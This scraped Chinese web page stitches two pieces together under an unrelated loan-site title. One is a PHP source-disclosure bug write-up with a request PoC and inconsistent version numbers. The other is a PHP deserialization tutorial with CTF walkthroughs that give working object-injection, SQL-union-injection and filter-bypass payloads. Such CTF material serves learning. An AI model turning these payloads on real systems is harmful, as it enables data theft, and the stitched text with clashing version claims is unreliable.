网站php版本泄露源码漏洞分析,下面是随性自由的高山nwQ给大家的分享,一起来看看。
贷款 漏洞 php
我们在测试多种PHP版本的网站服务器的时候,发现了PHP的返回一个错误的值。随着我们SINE安全的深入测试,我们发现了一个PHP的安全漏洞,这个漏洞可以暴露PHP文件的源代码,可以利用该漏洞来获取网站的数据库的PHP配置文件。
经过进一步的安全测试,我们发现最新版本的PHP没有这个漏洞。我们对不同版本的PHP进行了进一步的安全测试,以确定这个漏洞到底是什么时候修复的。最终发现PHP 7.4.22版本存在该漏洞,我们的技术对未修补版本和已修补版本的代码进行了比较,发现了漏洞的修复细节,通过修复的代码,我们构造了漏洞的利用代码。
GET/phpinfo.php
HTTP/1.1
Host: pd.research\r\n\r\n
GET/ HTTP/1.1\r\n\r\n
我们为了全面了解这个 bug 以及它是如何被修复的,我们编译了带有调试符号的 PHP 的补丁版和未补丁版。为了验证(PoC)的请求,我们触发了代码泄露 bug,并在调试器中观察了代码流。php_cli_server_client_read_request 函数调用了 php_http_parser_execute 函数,正如它的名字所暗示的那样,用于解析 HTTP 请求。该函数的返回值是成功解析的字节数。这个值用于确定请求已经被处理了多少,还剩下多少未被解析。
目前通过我们SINE安全的监控,发现有许多服务器使用了PHP小于7.4.2版本,建议用户尽快升级PHP版本,并将一些数据库配置文件进行加密,防止被黑客利用,通过查查询数据库来获取管理员账户密码,以及用户的资料。
没装php有漏洞
序列化
序列化说通俗点就是把一个对象变成可以传输的字符串
php serialize()函数
用于序列化对象或数组,并返回一个字符串。序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。
<?php$sites = array('Google', 'Microsoft', 'Facebook');$serialized_data = serialize($sites);echo $serialized_data . PHP_EOL;?>
输出:
a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}
解释a: 代表数组(如果是o就代表对象(object))3: 代表数组里面有3个变量i: 代表数据类型(i:int;s:string)6: 代表数据长度
反序列化
php unserialize()函数
用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
<?php$str = 'a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}';$unserialized_data = unserialize($str);print_r($unserialized_data);?>
输出:
Array ( [0] => Google [1] => Microsoft [2] => Facebook )
魔法方法
在php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被调用。即所谓的魔法函数。在这里主要涉及以下几个:
__construct()...........在每次创建新对象时先调用__destruct()............某个对象的所有引用都被删除或者当对象被显式销毁时执行__toString()............用于一个类被当成字符串时应怎样回应__sleep() ..............在被序列化之前运行__wakeup()..............反序列化时被调用
实例分析
Jarvis 神盾局的秘密
通过php文件包含漏洞获得源码,这里仅介绍后面的php反序列化漏洞部分
index.php:
<?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile();?>
shield.php
<?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } }?>
__construct函数在实例被创建的时候(也就是new Shield()的时候)执行,所以不会影响对$file的操作
<?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } $shield=new Shield('pctf.php'); echo serialize($shield);?>
输出:
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
payload:
http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
源码审计:
php反序列化漏洞、对象注入,unserialize函数没有过滤而__wakeup函数进行了过滤,绕过__wakeup函数:对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行(参考链接4)
首先传入参数data需要构造序列化,通过sql注入获取orange用户的数据库密码
show()
function show() { list($username) = func_get_args(); //sprint:把格式化的字符串写入一个变量中 $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username); $obj = $this->__query($sql); if ( $obj != false ) { $this->__die( sprintf("%s is %s", $obj->username, $obj->role) ); } else { $this->__die("Nobody Nobody But You!"); } }
通过分析show方法,构造如下:
payload:
<?phpclass HITCON{ private $method="show"; private $args=array("yoloyanng' union select password,username,role from users where username = 'orange' -- "); private $conn=1;}$hit = new HITCON();$result = serialize($hit);var_dump($result);?>
执行的sql语句为:
SELECT * FROM users WHERE username='lll' union select password,username,role from users where username = 'orange' -- '
疑问:不知为何username的值也是有限制,输入一些其他的字符并不能够得到结果
得到:
O:6:"HITCON":2:{s:14:"HITCONmethod";s:4:"show";s:12:"HITCONargs";a:1:{i:0;s:87:"lll' union select password,username,role from users where username = 'orange' -- ";}}s:12:"HITCONconn";i:1;}
构造如下:
O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"lll' union select password,username,role from users where username='orange' -- ";}}s:12:"%00HITCON%00conn";i:1;}
说明:至于为什么加上%00:当字符串为private类型时,序列化时生成的序列化字符串中类名前后会有0×00
得到:{"msg":"root is admin"}
login()
function login() { global $FLAG; list($username, $password) = func_get_args(); $username = strtolower(trim(mysql_escape_string($username))); $password = strtolower(trim(mysql_escape_string($password))); $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password); if ( $username == 'orange' || stripos($sql, 'orange') != false ) { $this->__die("Orange is so shy. He do not want to see you."); } $obj = $this->__query($sql); if ( $obj != false && $obj->role == 'admin' ) { $this->__die("Hi, Orange! Here is your flag: " . $FLAG); } else { $this->__die("Admin only!"); }}
if ( $username == 'orange' || stripos($sql, 'orange') != false )
可以看到对于用户名进行了过滤,可以参考连接3的绕过方法
payload:
<?phpclass HITCON{ private $method; private $args; public function __construct($method, $args) { $this->method = $method; $this->args = $args; }}$args['username'] = 'orÃnge';$args['password'] = 'root';$data = new HITCON('login',$args);var_dump(serialize($data));?>
得到:
O:6:"HITCON":2:{s:14:"HITCONmethod";s:5:"login";s:12:"HITCONargs";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}
构造:
O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}
{"msg":"Hi, Orange! Here is your flag: HITCON{php 4nd mysq1 are s0 mag1c, isn't it?}"}
温馨提示:注:内容来源均采集于互联网,不要轻信任何,后果自负,本站不承担任何责任。若本站收录的信息无意侵犯了贵司版权,请给我们来信(j7hr0a@163.com),我们会及时处理和回复。
原文地址"贷款 漏洞 php(没装php有漏洞)":http://www.guoyinggangguan.com/dkzs/95140.html。

微信扫描二维码关注官方微信
▲长按图片识别二维码